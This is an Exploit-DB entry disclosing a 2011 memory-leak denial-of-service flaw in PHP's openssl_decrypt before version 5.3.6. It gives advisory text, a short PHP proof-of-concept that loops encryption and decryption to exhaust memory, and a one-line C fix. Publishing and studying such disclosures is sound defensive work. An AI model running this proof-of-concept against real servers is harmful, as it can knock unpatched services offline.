PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service

EDB-ID:

35487


Author:

dovbysh

Type:

dos


Platform:

PHP

Date:

2011-03-08


source: https://www.securityfocus.com/bid/46977/info
 
PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.
 
Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.
 
Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	$cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
	$dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');
	if ($dcr != $data.$i){
		print "at step $i decryption failed\n";
	}
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";
?>

fixes by add this code at line 4818 at the end of openssl_decrypt:
	EVP_CIPHER_CTX_cleanup(&cipher_ctx);


?>